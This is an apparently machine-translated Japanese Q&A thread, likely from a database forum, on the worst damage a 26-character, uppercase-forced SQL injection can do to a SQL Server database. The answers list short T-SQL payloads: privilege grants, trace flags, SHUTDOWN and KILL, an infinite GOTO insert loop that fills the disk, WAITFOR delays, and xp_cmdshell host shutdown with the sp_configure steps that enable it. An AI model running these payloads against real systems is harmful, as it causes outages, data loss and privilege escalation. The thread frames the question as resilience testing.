SQL Serverインジェクション-26文字でどれくらいのダメージがありますか？

SQL Serverデータベースへのインジェクション攻撃に対する回復力をテストしています。

dbのすべてのテーブル名は小文字であり、照合は大文字と小文字を区別するLatin1_General_CS_ASです。

送信できる文字列は大文字に強制され、最大26文字の長さにすることができます。したがって、テーブル名が大文字になり、照合のためにステートメントが失敗するため、DROP TABLEを送信できません。

だから-私は26文字でできる最大のダメージは何ですか？

編集

パラメーター化されたクエリなどについてはすべて知っています。送信するクエリを作成するフロントエンドを開発した人が、この場合はparamsを使用しなかったとします。

また、私は悪意のあることをしようとはしていません。これは、同じ組織内の他の誰かによって構築されたシステムです。

簡単：

GRANT EXECUTE TO LowlyDBA

または、この場合はそうなると思います

grant execute to lowlydba 

このバリエーションを選んでください。

おそらく現在のシステムに対してこれをテストできる可能性がありますが、時間の経過に伴うデータベースの小さな変更がいくつあっても、テストが無効になる可能性があります。文字列が変更される可能性があり、誰かが破壊的な潜在能力を持つ小文字のストアドプロシージャを作成する可能性があります。誰かが作成できる破壊的な26文字の攻撃がないことを100％自信を持って言うことはできません。

セキュリティ侵害が発生した場合に少なくとも部分的に責任があると私自身が判断した場合に限り、開発者が基本的な業界標準のベストセキュリティプラクティスに従うようにする方法を見つけることをお勧めします。

編集：

悪意/楽しみのために、すべてのトレースフラグを有効にしてみてください。これを観察するのは興味深いでしょう。ブレント・オザールが作るブログ投稿のように感じます...

DBCC TRACEON(xxxx, -1)

SHUTDOWNコマンドまたはKILLコマンド（50以上の乱数を選ぶ）、両方のアプリケーションのクエリを実行するアカウントがうまくいけば、これらを実行するための十分な権限を持っていませんが、少ない26文字よりも大幅に取ります。

テーブルを作成して、時間の終わりまで、またはディスク領域が使い果たされるまでいっぱいになるテーブルを作成できます。

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

損傷の定義に応じて、次のコマンドを実行できます。WAITFOR DELAY '23：59 '本当に悪いのは、負荷テストツールを使用して32,768クライアントから実行することです。

@MikaelErikssonの回答と私の最初のコメントに対する@MartinSmithの返信に基づくバリエーション：

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

最初はWHILEステートメントを実行しようとしましたが、できることは27文字でした。

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

しかし、MartinはGOTOを指摘しました。

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ...すべての悪の根源であり、26文字の無限ループ挿入ステートメントの作成者。

そうは言っても... intの代わりにCHAR（99）を使用すると、より多くのスペースが使用されるため有利です。他のオプションでは、より長い名前を使用して26文字の制限を打ち破るか、行ごとのストレージ領域を少なくします。

完全なテストコード：

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

パワーダウンがどの程度のダメージを与えるかを考慮してください。:-)

これには、サーバーでxp_cmdshellを有効にする必要があります。これは、SQL Serverの最後のいくつかのバージョンには当てはまりません。また、サービスアカウントがシャットダウン権を持っている必要があります。シャットダウン権は持っている場合と持っていない場合があります。

xp_cmdshellを有効にすると、おそらく26文字の制限を超えてしまいます。複数回の注射を許可しますか？

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE